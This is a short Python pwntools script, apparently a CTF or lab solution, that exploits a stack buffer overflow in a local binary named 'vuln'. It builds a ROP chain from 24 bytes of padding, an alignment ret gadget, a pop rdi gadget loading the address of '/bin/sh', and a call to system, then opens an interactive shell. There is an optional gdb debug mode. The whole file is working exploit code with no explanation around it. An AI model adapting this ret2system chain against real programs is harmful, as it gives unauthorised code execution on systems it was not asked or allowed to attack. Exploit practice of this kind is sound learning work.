from pwn import *
import sys

context.binary = elf = ELF("./vuln")
rop = ROP(elf)
io = process("./vuln")

if len(sys.argv) == 2:
    if sys.argv[1] == "debug":
        context.terminal = ["tmux", "splitw", "-h"]
        gdb_commands = """
            break main
        """
        gdb.attach(io, gdb_commands)

print(io.recvuntil(b"Enter your name: "))

# *************** EXPLOIT PART *************** #

payload = b""
padding = b"B" * 24
align = p64(rop.find_gadget(["ret"])[0])
pop_rdi = p64(rop.find_gadget(["pop rdi", "ret"])[0])
bin_sh = p64(next(elf.search(b"/bin/sh")))
system = p64(elf.sym["system"])

payload = padding + align + pop_rdi + bin_sh + system


# *************** EXPLOIT END *************** #

io.sendline(payload)

io.interactive()
